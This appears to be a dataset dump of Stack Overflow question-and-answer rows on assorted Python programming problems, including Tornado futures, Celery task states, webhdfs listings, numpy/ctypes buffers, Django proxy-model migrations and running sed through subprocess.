title stringlengths 10 172 | question_id int64 469 40.1M | question_body stringlengths 22 48.2k | question_score int64 -44 5.52k | question_date stringlengths 20 20 | answer_id int64 497 40.1M | answer_body stringlengths 18 33.9k | answer_score int64 -38 8.38k | answer_date stringlengths 20 20 | tags list |
|---|---|---|---|---|---|---|---|---|---|
Waiting for tornado future to complete | 37,988,202 | <p>I have a function that returns a future. I want to create a decorator to the function which waits for the future to complete and then return the result essentially converting the async function to blocking function (which I will use in my REST API). Is there a way to do that?</p>
| -1 | 2016-06-23T09:54:10Z | 37,988,657 | <p>To resolve a future you need to <code>yield</code> it. Something like this might work:</p>
<pre><code>from tornado import gen
def blocking(func):
def new_func(*args, **kwargs):
result = yield func(*args, **kwargs)
return result
return gen.coroutine(new_func)
</code></pre>
| 1 | 2016-06-23T10:12:11Z | [
"python",
"tornado"
] |
Waiting for tornado future to complete | 37,988,202 | <p>I have a function that returns a future. I want to create a decorator to the function which waits for the future to complete and then return the result essentially converting the async function to blocking function (which I will use in my REST API). Is there a way to do that?</p>
| -1 | 2016-06-23T09:54:10Z | 37,994,984 | <pre><code>def sync(fn):
def wrapped(*args, **kwargs):
return IOLoop.instance().run_sync(lambda: fn(*args, **kwargs))
return wrapped
@gen.coroutine
def my_coro():
# ...
sync_fn = sync(my_coro)
result = sync_fn()
</code></pre>
| 2 | 2016-06-23T14:46:59Z | [
"python",
"tornado"
] |
How to save javascript variable values in a textfile? | 37,988,354 | <p>I am trying to save the pixel values of an image on canvas. I have written a code to extract pixel values of the location clicked (on image). I want to save the values of the r,g,b into a text file for using them in the server side processing which is done in python flask.</p>
<pre class="lang-js prettyprint-overri... | 1 | 2016-06-23T10:00:16Z | 37,988,928 | <p>You can modify your function like:</p>
<pre><code>canvas.onclick = function(e) {
var x = e.pageX;
var y = e.pageY;
var canvasColor = context.getImageData(x, y, 1,1); // rgba e [0,255]
var pixels = canvasColor.data;
var r = pixels[0];
var g = pixels[1];
var b = pixels[2];
// i want to... | 0 | 2016-06-23T10:23:50Z | [
"javascript",
"python",
"json",
"html5"
] |
Celery: how to set the status of a Task | 37,988,355 | <p>I have defined a Celery task like this:</p>
<pre><code>@app.task()
def my_task():
# Do things...
</code></pre>
<p>I'm using Flower, so I want to see the final state of the task, according to some rules created by me:</p>
<pre><code> if condition_1:
return task_status_success
elif condition_2:
... | 0 | 2016-06-23T10:00:16Z | 37,996,882 | <p>To use the method you saw that uses an abstract class, you just need to pass the class as <code>base</code> to your decorator:</p>
<pre><code>@app.task(base=AbstractClass, bind=True)
def my_task(self):
pass
</code></pre>
<p><code>bind=True</code> will allow you to use <code>self</code> to access the members of... | 1 | 2016-06-23T16:15:28Z | [
"python",
"celery"
] |
how to use variables read from file "a" into the main file "c", in a imported file "b"? | 37,988,388 | <p>I have a file, say "c.py" and a imported file "b.py" which has its use in "c.py" later in the code</p>
<pre><code>import b.py
def scatter_plot(file0,camp):
# enter complete path of file
file1 = ("/home/data/camp0" + str(camp) + "/not_detrended/ktwo"+ str(file0)+ "c0"+ str(camp)+ "_lpd_LC.txt")
file2 = ... | 0 | 2016-06-23T10:01:31Z | 37,994,935 | <p>If I understand you right</p>
<ol>
<li>You need to share some variables between 3 modules. </li>
<li>To initialize this variables you need to read file</li>
<li>File is undefined at program start (i.e. you need parse argumets or read user input)</li>
</ol>
<p>Best way is rewrite modules a.py, b.py and c.py, so tha... | 0 | 2016-06-23T14:45:15Z | [
"python",
"import"
] |
python write a specific column from many files to one file | 37,988,394 | <p>I am trying to read many files and from these files to write on specific column to another file. I read how it can be done but it is not working. Could someone help me implementing pawk in my script?</p>
<pre><code> j = j + 1
#with open('a1_gather_{j}.txt'.format(j=j)) as f2:
f2 = open('a1_gather_{j... | 0 | 2016-06-23T10:01:42Z | 37,988,884 | <p>Assuming you need to write second column from <code>a1_*</code> files to <code>a1_gather</code> file and use <strong>awk</strong> as you mentioned in comment you could run simple command in terminal:</p>
<pre><code>cat a1_* | awk '{print $2}' > a1_gather
</code></pre>
<p>Where:</p>
<ul>
<li><code>cat a1_*</cod... | 0 | 2016-06-23T10:21:52Z | [
"python",
"file",
"awk"
] |
python write a specific column from many files to one file | 37,988,394 | <p>I am trying to read many files and from these files to write on specific column to another file. I read how it can be done but it is not working. Could someone help me implementing pawk in my script?</p>
<pre><code> j = j + 1
#with open('a1_gather_{j}.txt'.format(j=j)) as f2:
f2 = open('a1_gather_{j... | 0 | 2016-06-23T10:01:42Z | 37,989,404 | <p>For this particular task, you could abandon python completely, and use the <a href="https://en.wikipedia.org/wiki/Cut_(Unix)" rel="nofollow"><code>cut</code></a> command instead:</p>
<pre><code>cut -f2 a1_{1..10}.txt > a1_gather.txt
</code></pre>
<p>By default, it uses tabs as column separator, <code>-d</code> ... | 1 | 2016-06-23T10:45:26Z | [
"python",
"file",
"awk"
] |
python write a specific column from many files to one file | 37,988,394 | <p>I am trying to read many files and from these files to write on specific column to another file. I read how it can be done but it is not working. Could someone help me implementing pawk in my script?</p>
<pre><code> j = j + 1
#with open('a1_gather_{j}.txt'.format(j=j)) as f2:
f2 = open('a1_gather_{j... | 0 | 2016-06-23T10:01:42Z | 37,995,296 | <pre><code>f2 = open('a1_gather_{j}.txt'.format(j=j), 'w')
f1 = open('a1_{k}.txt'.format(k=k))
lines = f1.readlines()
for i, line in enumerate(lines):
print(repr(line))
f2.write(line)
i = i+1
f1.close()
f2.close()
</code></pre>
<p>This one reads and writes the wh... | 0 | 2016-06-23T15:00:18Z | [
"python",
"file",
"awk"
] |
Using Django's OAuth2.0 Authentication with Android Utilizing Volley | 37,988,516 | <p>I am creating an Android app that will be using a Django backend, along with the Django Rest Framework. I have been reading the OAuth2 documentation, but am still struggling to understand a few key points about its authentication. </p>
<p>These are my main questions/things I'm struggling with:</p>
<ul>
<li><p>In O... | 0 | 2016-06-23T10:06:44Z | 37,990,223 | <p>I'll be using the word "app" to mean two different things:</p>
<ol>
<li><p><code>app</code>, to indicate Oauth2 app, which you'll create to register your mobile app(s)</p></li>
<li><p>app, to indicate mobile app.</p></li>
</ol>
<p><strong>Answer 1:</strong></p>
<p>An <code>app</code> is basically a way of registe... | 3 | 2016-06-23T11:22:55Z | [
"android",
"python",
"django",
"oauth-2.0",
"android-volley"
] |
Override raw_input to get answer from remote client | 37,988,680 | <p>I'm trying to override the standard <code>raw_input</code> so I can have a "remote raw_input".</p>
<p>What I need is to implement this <code>overriden raw_input</code> so when I use it on my server, it will open a message box in the remote client's computer and wait for his answer. After getting the response, I'll ... | 0 | 2016-06-23T10:13:32Z | 37,995,421 | <p>Overriding builtins is, generally, not recommended for a number of reasons. Instead, try something like the following, using <code>receive_input</code> instead of <code>raw_input</code>.</p>
<pre><code>SERVER = 1
CLI = 2
...
config.input_type = CLI # in cli code, or SERVER in server code
...
def receive_input(cf... | 0 | 2016-06-23T15:06:19Z | [
"python",
"python-2.7",
"python-3.x"
] |
PySpark on Windows with PyCharm: java.net.SocketException | 37,988,704 | <p>Since yesterday I am facing a weird behavior with my pySpark code. I am working on windows with PyCharm and Spark 1.5.</p>
<p>I run successfully the following code on an ipython notebook (with the same version of python but on a cluster). However while launching it on my Windows environment with Pycharm I got this:... | 0 | 2016-06-23T10:14:26Z | 37,992,666 | <p>I had the same problem when using (let's say) big files (20000 lines) and trying to filter them using a regex:</p>
<pre><code>import re
pattern = re.compile("...")
rdd.filter(lambda x: pattern.search(x) is not None)
</code></pre>
<p>Also the behavior was intermittent as you describe.
After truncating the file to ... | 1 | 2016-06-23T13:11:17Z | [
"python",
"apache-spark",
"dataframe",
"pyspark",
"socketexception"
] |
Finding ip address - python's socket module | 37,988,798 | <p>code</p>
<pre><code>import socket
line = 'http://www.permobil.com/en/Corporate/'
IP = socket.gethostbyname(line)
</code></pre>
<p>error</p>
<pre><code>IP = socket.gethostbyname(line)
socket.gaierror: [Errno 8] nodename nor servname provided, or not known
</code></pre>
<p>I know there are several answers for the ... | 0 | 2016-06-23T10:18:30Z | 37,988,893 | <p>try this:</p>
<pre><code>import socket
ip = socket.gethostbyname("permobil.com")
print ip
</code></pre>
| 0 | 2016-06-23T10:22:25Z | [
"python",
"sockets"
] |
Finding ip address - python's socket module | 37,988,798 | <p>code</p>
<pre><code>import socket
line = 'http://www.permobil.com/en/Corporate/'
IP = socket.gethostbyname(line)
</code></pre>
<p>error</p>
<pre><code>IP = socket.gethostbyname(line)
socket.gaierror: [Errno 8] nodename nor servname provided, or not known
</code></pre>
<p>I know there are several answers for the ... | 0 | 2016-06-23T10:18:30Z | 37,989,684 | <pre><code>import socket
from urlparse import urlparse
parsed_uri = urlparse('http://www.permobil.com/en/Corporate/' )
domain = '{uri.scheme}://{uri.netloc}/'.format(uri=parsed_uri)
domain = domain.replace("http://","")
domain = domain.replace("www.", "")
domain = domain.replace("/", "")
IP = socket.gethostbyname(doma... | 0 | 2016-06-23T10:59:29Z | [
"python",
"sockets"
] |
find text for non-ASCII caracters in python | 37,988,825 | <p>Is there anyway to search text between parentheses for non-ascii caracters in python?
I use:</p>
<pre><code>text=line.strip()[1:-1]
</code></pre>
<p>but i get the error: </p>
<blockquote>
<p>"Non-ASCII character '\xe2' "</p>
</blockquote>
| -1 | 2016-06-23T10:19:29Z | 37,988,963 | <p>If you are using utf, first line of your file should be: <code># -*- coding: utf-8 -*-</code></p>
| -1 | 2016-06-23T10:25:51Z | [
"python",
"ascii"
] |
find text for non-ASCII caracters in python | 37,988,825 | <p>Is there anyway to search text between parentheses for non-ascii caracters in python?
I use:</p>
<pre><code>text=line.strip()[1:-1]
</code></pre>
<p>but i get the error: </p>
<blockquote>
<p>"Non-ASCII character '\xe2' "</p>
</blockquote>
| -1 | 2016-06-23T10:19:29Z | 37,989,047 | <p>You can filter out non-printable characters using <a href="https://docs.python.org/3/library/string.html#string.printable" rel="nofollow">string.printable</a>. Example:</p>
<pre><code>>>>import string
>>>something = "(abcd\xe2)"
>>>printable = set(string.printable)
>>>print (''.j... | 0 | 2016-06-23T10:29:40Z | [
"python",
"ascii"
] |
Safer way to expose a C-allocated memory buffer using numpy/ctypes? | 37,988,849 | <p>I'm writing Python bindings for a C library that uses shared memory buffers to store its internal state. The allocation and freeing of these buffers is done outside of Python by the library itself, but I can indirectly control when this happens by calling wrapped constructor/destructor functions from within Python. ... | 23 | 2016-06-23T10:20:37Z | 38,080,297 | <p><code>weakref</code> is a built-in mechanism for the functionality you are proposing.
Specifically, <a href="https://docs.python.org/2/library/weakref.html?highlight=weakref#weakref.proxy" rel="nofollow"><code>weakref.proxy</code></a> is an object with the same interface as the referred one. After the referenced obj... | 1 | 2016-06-28T15:25:00Z | [
"python",
"c",
"numpy",
"ctypes",
"dangling-pointer"
] |
Safer way to expose a C-allocated memory buffer using numpy/ctypes? | 37,988,849 | <p>I'm writing Python bindings for a C library that uses shared memory buffers to store its internal state. The allocation and freeing of these buffers is done outside of Python by the library itself, but I can indirectly control when this happens by calling wrapped constructor/destructor functions from within Python. ... | 23 | 2016-06-23T10:20:37Z | 38,086,287 | <p>You have to keep a reference to your Wrapper while any numpy array exists. Easiest way to achieve this, is to save this reference in a attribute of the ctype-buffer:</p>
<pre><code>class MyWrapper(object):
def __init__(self, n=10):
# buffer allocated by external library
self.size = n
sel... | 2 | 2016-06-28T21:06:19Z | [
"python",
"c",
"numpy",
"ctypes",
"dangling-pointer"
] |
Safer way to expose a C-allocated memory buffer using numpy/ctypes? | 37,988,849 | <p>I'm writing Python bindings for a C library that uses shared memory buffers to store its internal state. The allocation and freeing of these buffers is done outside of Python by the library itself, but I can indirectly control when this happens by calling wrapped constructor/destructor functions from within Python. ... | 23 | 2016-06-23T10:20:37Z | 38,165,448 | <blockquote>
<p>It's a proprietary library written by a third party and distributed as a binary. I could call the same library functions from C rather than Python, but that wouldn't help much since I still don't have any access to the code that actually allocates and frees the buffers. I can't, for example, allocate ... | 2 | 2016-07-02T23:48:22Z | [
"python",
"c",
"numpy",
"ctypes",
"dangling-pointer"
] |
Safer way to expose a C-allocated memory buffer using numpy/ctypes? | 37,988,849 | <p>I'm writing Python bindings for a C library that uses shared memory buffers to store its internal state. The allocation and freeing of these buffers is done outside of Python by the library itself, but I can indirectly control when this happens by calling wrapped constructor/destructor functions from within Python. ... | 23 | 2016-06-23T10:20:37Z | 38,219,345 | <p>If you can completely control the C buffer's lifetime from Python, what you essentially have is a Python "buffer" object that an <code>ndarray</code> should use.</p>
<p>Thus,</p>
<ul>
<li>there are 2 fundamental ways to connect them:
<ul>
<li>buffer -> ndarray</li>
<li>ndarray -> buffer</li>
</ul></li>
<li>there'... | 0 | 2016-07-06T08:21:38Z | [
"python",
"c",
"numpy",
"ctypes",
"dangling-pointer"
] |
Why does Django create migration files for proxy models? | 37,988,914 | <p>I just created a <a href="https://docs.djangoproject.com/en/1.9/topics/db/models/#proxy-models" rel="nofollow">proxy model</a> and was surprised that <code>manage.py makemigrations</code> creates a new migration file with a <code>migrations.CreateModel</code> operation.</p>
<p>A proxy model does not create a new d... | 4 | 2016-06-23T10:23:26Z | 37,989,190 | <p>Ah but if you open the migration in your editor, you will find that it's actually an empty migration! Here is an example</p>
<pre><code>class Migration(migrations.Migration):
dependencies = [
('stackoverflow', '0009_auto_20160622_1507'),
]
operations = [
migrations.CreateModel(
... | 4 | 2016-06-23T10:35:31Z | [
"python",
"django",
"proxy-classes"
] |
Why doesn't igraph's add_vertices() work with a set of strings? | 37,989,057 | <p>This is no doubt due to my lack of knowledge of Python ... but why does this not work with igraph?</p>
<pre><code>import igraph
g=igraph.Graph()
verts = {'1','2','3'}
g.add_vertices(verts)
for v in g.vs:
print v
</code></pre>
<p>Output:</p>
<pre><code>igraph.Vertex(<igraph.Graph object at 0x106347908>,0... | 1 | 2016-06-23T10:30:33Z | 37,989,799 | <p>From the igraph <a href="http://igraph.org/python/doc/igraph-pysrc.html#Graph.add_vertices" rel="nofollow">source</a>:</p>
<pre><code>def add_vertices(self, n):
if isinstance(n, basestring):
# some code
elif hasattr(n, "__iter__"):
m = self.vcount()
if not hasattr(n, "__le... | 3 | 2016-06-23T11:04:36Z | [
"python",
"igraph"
] |
Change values in excel file from values of other excel using python | 37,989,170 | <p>I have data</p>
<pre><code> id
30046
30049
30040
30046
</code></pre>
<p>And next excel </p>
<pre><code> id mail
30049 natusya_89_2009@mail.ru
30046 fresh_tea@mail.ru
30040 sedoi7072@mail.ru
</code></pre>
<p>I want to change id from 1 file to mail from 2 excel.
Desire output </p... | 0 | 2016-06-23T10:34:56Z | 37,989,407 | <p>I think you need <a href="http://pandas.pydata.org/pandas-docs/stable/generated/pandas.Series.map.html" rel="nofollow"><code>map</code></a> column <code>id</code> in <code>df1</code> by <code>Serie</code> created by <a href="http://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.set_index.html" rel="... | 2 | 2016-06-23T10:45:32Z | [
"python",
"excel",
"pandas"
] |
How to pass a variable to the dialog's choices propery? | 37,989,194 | <p>I would like to have a list of connected users, have chosen dialog tui for this.
This is my first little python (3.5) script.</p>
<pre><code>import sys
import psutil
import locale
import dialog
import pprint
locale.setlocale(locale.LC_ALL, '')
d = dialog.Dialog(dialog="dialog")
choices = []
i = 0;
users = psutil.u... | 0 | 2016-06-23T10:35:46Z | 37,989,612 | <p>It is not enough pass it as a variable, like:</p>
<pre><code>code, tag = d.menu("List", choices)
</code></pre>
<p>It should be declared explicitly as:</p>
<pre><code>code, tag = d.menu("List", choices=choices)
</code></pre>
| 0 | 2016-06-23T10:56:14Z | [
"python",
"dialog"
] |
how to scrap all the pages of this link | 37,989,222 | <p>i want to scrap all the pages of this link, <a href="http://www.jobisjob.co.uk/search?directUserSearch=true&whatInSearchBox=&whereInSearchBox=london" rel="nofollow">http://www.jobisjob.co.uk/search?directUserSearch=true&whatInSearchBox=&whereInSearchBox=london</a>. </p>
<p>I have tried different way... | 0 | 2016-06-23T10:37:05Z | 37,990,452 | <p>You have error in next page selector.
Your current selector searching tags with name <code>wrap</code> and then <code>paginator</code> inside <code>div</code> with class <code>wrap</code>.</p>
<p>Right selector is</p>
<p><code>div.wrap.paginator.results > ul > li > a:last-child[rel='nofollow']::attr('hre... | 0 | 2016-06-23T11:32:59Z | [
"python",
"scrapy"
] |
How to get result from os.execvp() in python 2.7? | 37,989,239 | <p>I am using <code>os.execvp()</code> function in python. I am not able to get result of this function.</p>
<pre><code>try:
msi_install_cmd = ['msiexec.exe', '/quiet', '/i ', msi_path.encode('mbcs')]
os.execvp(msi_install_cmd[0], msi_install_cmd)
except Exception, error:
raise Exception("MSI ... | 0 | 2016-06-23T10:37:55Z | 37,989,564 | <p><code>os.exec*()</code> and friends don't return by design. <code>exec()</code> replaces the current process with the one invoked. You could think of calling <code>exec()</code> as "<em>stop doing my program here and continue with this program</em>".</p>
<p>If you want the return code from a (child) process, the <a... | 0 | 2016-06-23T10:53:43Z | [
"python"
] |
Scrape Twitter Embedded URL via Python | 37,989,318 | <p>I currently try to extract URLs embedded in a Call-To-Action button within videos on Twitter. An example:</p>
<p><a href="https://amp.twimg.com/v/a693e53f-a6a3-4ff1-b06e-7c5402db0e06" rel="nofollow">Twitter Video</a></p>
<p>When utilising Chrome Inspect, I can relatively easily spot what I'm after:</p>
<p><a href... | 1 | 2016-06-23T10:41:32Z | 37,991,659 | <p>The data is dynamically created via a ajax request, you can pull the url for the xml from the original pages <em>meta</em> tag with the <code>name="twitter:amplify:vmap"</code> then request that data which is xml like:</p>
<pre><code>?xml version="1.0" encoding="utf-8"?>
<vmap:VMAP xmlns:esi="http://www.edge-... | 1 | 2016-06-23T12:29:45Z | [
"python",
"html",
"twitter",
"web-scraping",
"tweepy"
] |
SAP RFC server with Python, is it possible? | 37,989,338 | <p>I have a service that can make SAP RFC requests to some server. Assume that I can not modify this service, but need to handle such requests and process their data.
So I want to develop my own server that will process RFC requests, I prefer Python but can do it with C++ too.</p>
<p>I read that it should be possible ... | 1 | 2016-06-23T10:42:32Z | 37,990,442 | <p>You will need a SAP Gateway server/service anyway - and by that, I don't mean the SAP Gateway product that is used to provide OData services, but the <code>sapgw</code> process that is part of the SAP NetWeaver Application Server ABAP installation. This process is required because your custom RFC server registers it... | 1 | 2016-06-23T11:32:25Z | [
"python",
"sap"
] |
len(set(dictionary)) -- what's wrong? | 37,989,364 | <p>What is the problem with</p>
<pre><code>len(set(library))
</code></pre>
<p><code>library</code> is a dictionary. I get <code>TypeError: unhashable type: 'dict'</code></p>
| -4 | 2016-06-23T10:43:48Z | 37,989,462 | <p><code>library</code> is not a dictionary. I'm guessing it's a <code>tuple</code> or <code>list</code> of <code>dict</code>s, but it could be some other, more esoteric collection type containing one or more <code>dict</code>s. If it were a <code>dict</code>, then <code>set</code> would be pointless (the <code>len</co... | 0 | 2016-06-23T10:48:32Z | [
"python",
"set"
] |
Angular read-only rating stars not showing value passed through server | 37,989,419 | <p>I am using angular ui-bootstrap rating stars for showing the static values passed through django-python controller using $http get request and I am making them display inside a table. Able to display the stars inside the table row but it is not showing the data I've passed. Don't know where I am doing wrong. It woul... | 0 | 2016-06-23T10:45:58Z | 37,990,573 | <p>According the <a href="http://ng-table.com/#/" rel="nofollow">ng-table</a> example you should create the <code>table.tableParams</code> variable in your controller. Also you should use <code>vm.tableParams</code> instead.</p>
<pre><code>vm.tableParams = new NgTableParams({}, { dataset: response.data.product_whole_d... | 0 | 2016-06-23T11:39:27Z | [
"python",
"angularjs",
"django"
] |
How to use os.path.join() when finding many files | 37,989,463 | <p>I want to find and open 500 Excel files so I can edit them. I was told it was possible to use the <code>os.path.join()</code> to get them simultaniously since they are in one folder. When I used: </p>
<pre><code>file_location = os.path.join("C:\Users\A12345\Desktop\Folder_name","file_1.xlsm)
</code></pre>
<p>it wo... | 1 | 2016-06-23T10:48:39Z | 37,989,570 | <p>All <code>os.path.join()</code> does is concatenate a path and a filename, i.e. it abstracts out the directory separation character for you. It has nothing to do with "getting" files.</p>
<p>You're going to have to use something like <a href="https://docs.python.org/2/library/glob.html" rel="nofollow"><code>glob</c... | 2 | 2016-06-23T10:54:04Z | [
"python",
"excel",
"os.path"
] |
Optimizing/removing loop | 37,989,475 | <p>I have the following piece of code that I would like to optimize using numpy, preferably removing the loop. I can't see how to approach it, so any suggesting would be helpful.</p>
<p>indices is a (N,2) numpy array of integers, N can be a few millions. What the code does is finding the repeated indices in the first ... | 5 | 2016-06-23T10:49:11Z | 37,993,409 | <p>Few improvements could be suggested :</p>
<ul>
<li><p>Initialize output array, for which we can pre-calculate the estimated number of rows needed for storing combinations corresponding to each group. We know that with <code>N</code> elements, the total number of possible combinations would be <code>N*(N-1)/2</code>... | 2 | 2016-06-23T13:42:20Z | [
"python",
"numpy",
"networkx"
] |
Optimizing/removing loop | 37,989,475 | <p>I have the following piece of code that I would like to optimize using numpy, preferably removing the loop. I can't see how to approach it, so any suggesting would be helpful.</p>
<p>indices is a (N,2) numpy array of integers, N can be a few millions. What the code does is finding the repeated indices in the first ... | 5 | 2016-06-23T10:49:11Z | 38,013,107 | <p>Here is a solution which is vectorized over N. Note that it still contains one for-loop, but it is a loop over each 'group of key-multiplicities', which is guaranteed to be a much smaller number (typically a few dozen at most).</p>
<p>For N=1.000.000, runtime is order-of-magnitude one second on my pc.</p>
<pre><co... | 1 | 2016-06-24T12:08:18Z | [
"python",
"numpy",
"networkx"
] |
Python3, allowing user input of " \n " and " ' " characters but replace with " \\n " and " \\' " | 37,989,519 | <p>Thank you in advance for your assistance...</p>
<p>I am coding an API that will use JSON responses. I am coding in Python 3.5.1. I am allowing the user to type in a predefined message they wish to submit to the Slack chat and Slack syntax uses \n for newlines, so my app will need to allow the user to format their m... | 1 | 2016-06-23T10:51:31Z | 37,989,702 | <p>What you really need to do is to escape whole "\n" with "\\n", and when you have "\\n" escape it with "\\\n", I would do something like this:</p>
<pre><code>def replace_all(strIn):
strOut = ""
keywords = {"'": "\\'", "\\n": "\\\n"}
for a, b in keywords.items():
strOut = strIn.replace(a, b)
r... | 0 | 2016-06-23T10:59:59Z | [
"python",
"json",
"python-2.7",
"sqlite",
"python-3.x"
] |
How to list HDFS directory contents using webhdfs? | 37,989,520 | <p>Is it possible to check to contents of a directory in HDFS using <code>webhdfs</code>?</p>
<p>This would work as <code>hdfs dfs -ls</code> normally would, but instead using <code>webhdfs</code>.</p>
<p>How do I list a <code>webhdfs</code> directory using Python 2.6 to do so?</p>
| 1 | 2016-06-23T10:51:31Z | 37,990,260 | <p>You can use the <code>LISTSTATUS</code> verb. The docs are at <a href="https://hadoop.apache.org/docs/r1.0.4/webhdfs.html#LISTSTATUS" rel="nofollow">List a Directory</a>, and the following code can be found on the <a href="https://hadoop.apache.org/docs/r1.0.4/webhdfs.html" rel="nofollow">WebHDFS REST API</a> docs:... | 1 | 2016-06-23T11:24:37Z | [
"python",
"json",
"hadoop",
"hdfs",
"webhdfs"
] |
Django 1.8.13 queryset works once, then fails | 37,989,569 | <p>I have very strange error in Django. </p>
<p>My queryset looks like:</p>
<pre><code>return (
Post.objects
.select_related(
'channel',
)
.prefetch_related(
Prefetch('poll', queryset=(
Poll.objects.prefetch_related('choice_set')
)),
Prefetch('author__profil... | 0 | 2016-06-23T10:54:00Z | 38,011,329 | <p>If anyone has the same issue, this is related to a bug which got fixed in 1.9 - <a href="https://code.djangoproject.com/ticket/24873" rel="nofollow">https://code.djangoproject.com/ticket/24873</a>.</p>
| 0 | 2016-06-24T10:34:49Z | [
"python",
"django"
] |
Record a Webcam video with python | 37,989,581 | <p>I am trying to capture a video from a webcam stream. The python logic is </p>
<blockquote>
<p>If button is pressed, store the current stream until I press the stop
button.</p>
</blockquote>
<p>Note : I am using OpenCV to stream a webcam video inside a wxPython window.</p>
<pre><code> def record(self, evt):
... | 0 | 2016-06-23T10:54:27Z | 38,079,573 | <p>you have set up a video writer object by </p>
<p><code>out = cv2.VideoWriter('output.avi',fourcc, 20.0, (640,480))</code></p>
<p>but you have not used <code>write</code> method to write the video frame buffer. </p>
<p>To do it, you need to call <code>write</code> method of the writer object that you instantiated ... | 0 | 2016-06-28T14:53:06Z | [
"python",
"opencv",
"wxpython"
] |
Python Requests - How to calculate the total network consumption of a single request-response cycle | 37,989,588 | <p>I am writing a script to scrape the data from web. I would like to calculate the Size of each request and response to monitor my network consumption. So, Is there any way?</p>
| 0 | 2016-06-23T10:55:00Z | 37,991,171 | <p>One would be tempted in using the response header to have an idea of the network usage :</p>
<pre><code>>>> response = requests.get('http://edition.cnn.com')
>>> response.headers['Content-Length']
'28321'
</code></pre>
<p><strong>Problem</strong> :</p>
<p>This is not accurate, from a network con... | 0 | 2016-06-23T12:06:55Z | [
"python",
"python-3.x",
"python-requests"
] |
When I use a while loop in my rock paper scissors code, it repeats itself | 37,989,600 | <p>I am trying to make a rock paper scissors code that requires two people to play, however when I try to use a <code>while</code> loop, it continually prints the answer. </p>
<p>The code:</p>
<pre><code>play = input("Do you want to play?")
player1 = input("Rock, paper or scissors?")
player2 = input("Rock, paper or s... | -1 | 2016-06-23T10:55:37Z | 37,989,773 | <p>The problem is that <code>play</code> never changes, after you entered either loop. Hence the loop repeats forever. You must move the <code>input</code> into the loop as well. </p>
<p>I reworked the code a bit using only one while loop, as that is easier to do, which is canceled using <code>break</code>, if the pla... | 1 | 2016-06-23T11:03:21Z | [
"python",
"python-3.4"
] |
When I use a while loop in my rock paper scissors code, it repeats itself | 37,989,600 | <p>I am trying to make a rock paper scissors code that requires two people to play, however when I try to use a <code>while</code> loop, it continually prints the answer. </p>
<p>The code:</p>
<pre><code>play = input("Do you want to play?")
player1 = input("Rock, paper or scissors?")
player2 = input("Rock, paper or s... | -1 | 2016-06-23T10:55:37Z | 37,989,789 | <p><code>while</code> will repeat whatever is inside the loop until you give a break condition. In your case, you may want to replace the two <code>while</code> loops with <code>if</code> conditions, so it doesn't spam your command line.</p>
<p>If you want it to automatically ask for another game afterwards, you can j... | 1 | 2016-06-23T11:04:04Z | [
"python",
"python-3.4"
] |
Turning DFS code to breadth first search program? | 37,989,716 | <p>Is it possible to obtain a program for BFS similar to this code I have for depth first search?</p>
<p>I have come to understand that implementation of DFS and BFS can be very similar. However I am unable to change this code correctly. Or will it require other functions to be implemented? </p>
<pre><code>Graph={'A'... | -1 | 2016-06-23T11:00:45Z | 37,991,325 | <p>I guess the BFS version of the above DFS code can't be done in any simple way since BFS requires keeping track of the parents of the node. On trying to implement similar recursions we may end up causing recursion timeouts.</p>
<hr>
<p>We may try using lists for simpler implementations.</p>
| 0 | 2016-06-23T12:14:14Z | [
"python",
"python-2.7",
"breadth-first-search"
] |
Running sed command from python | 37,989,913 | <p>I'm trying to read a buffer from an input file and write it to an output file and is not working.
here is my snippet.</p>
<pre><code>nums = 54466
nume = 78954
input_file=open(sys.argv[1],"r");
out_file = open(outp, "w")
subprocess.call(['sed', '-n', ''nums,numep'', input_file], stdout=out_file)
</code></pre>
<p>wh... | -5 | 2016-06-23T11:09:40Z | 37,990,042 | <p>Likely you are trying to call</p>
<pre><code>sed -n '$LINE1,$LINE2p' input_file
</code></pre>
<p>To print the lines between $LINE1 and $LINE2.</p>
<p>Python string substitution works in a different way - try replacing</p>
<pre><code>''nums,numep''
</code></pre>
<p>with </p>
<pre><code>"'%s,%sp'" % (nums, nume... | 0 | 2016-06-23T11:14:42Z | [
"python"
] |
Running sed command from python | 37,989,913 | <p>I'm trying to read a buffer from an input file and write it to an output file and is not working.
here is my snippet.</p>
<pre><code>nums = 54466
nume = 78954
input_file=open(sys.argv[1],"r");
out_file = open(outp, "w")
subprocess.call(['sed', '-n', ''nums,numep'', input_file], stdout=out_file)
</code></pre>
<p>wh... | -5 | 2016-06-23T11:09:40Z | 37,990,053 | <p>I'm pretty sure you're better off implementing the logic <strong>within</strong> python, and not calling <code>sed</code>, however, something like this would work:</p>
<pre><code>import subprocess
#set output_file and input_file
nums = 54466
nume = 78954
cmd = "sed -n '{s},{e}p' {i} > {o}".format(i=input_file,o=... | 0 | 2016-06-23T11:15:03Z | [
"python"
] |
Running sed command from python | 37,989,913 | <p>I'm trying to read a buffer from an input file and write it to an output file and is not working.
here is my snippet.</p>
<pre><code>nums = 54466
nume = 78954
input_file=open(sys.argv[1],"r");
out_file = open(outp, "w")
subprocess.call(['sed', '-n', ''nums,numep'', input_file], stdout=out_file)
</code></pre>
<p>wh... | -5 | 2016-06-23T11:09:40Z | 37,990,267 | <p>Just demonstrating why you should not run <code>sed</code>â¦</p>
<pre><code>from itertools import islice
nums, nume = 54466, 78954
with open(sys.argv[1], 'r') as infile, open(outp, 'w') as outfile:
for line in islice(infile, nums, nums + nume):
outfile.write(line)
</code></pre>
<p>This is simpler, le... | 0 | 2016-06-23T11:24:55Z | [
"python"
] |
For loop in 2 arrays of same size gives ValueError | 37,989,951 | <p>I'm trying to go through 2 arrays of same length in a <code>for</code> loop, but I'm getting a </p>
<blockquote>
<p>ValueError: too many values to unpack</p>
</blockquote>
<p>Here is the code generating the error :</p>
<pre><code>test = [1, 0, 5, 2, 6, 3, 4]
names = ['patient_map_id', 'birth_date', 'age_in_year... | 1 | 2016-06-23T11:10:58Z | 37,989,997 | <p><a href="https://docs.python.org/3/library/functions.html#zip" rel="nofollow"><code>zip</code></a> the lists before you iterate through them. A <code>for</code> loop cannot iterate through multiple iterables as such.<br>
The <code>zip</code> function combines all the passed iterables into a single iterator.</p>
<p>... | 8 | 2016-06-23T11:12:19Z | [
"python",
"arrays",
"python-2.7"
] |
Change column in df from column from another | 37,990,019 | <p>I have data:</p>
<pre><code> date id
0 2016-06-17 06:25:05 yans.bouts@yandex.ru
1 2016-06-17 06:25:07 yans.bouts@yandex.ru
2 2016-06-17 06:25:10 titovtanya@yandex.ru
3 2016-06-17 06:25:11 titovtanya@yandex.ru
</code></pre>
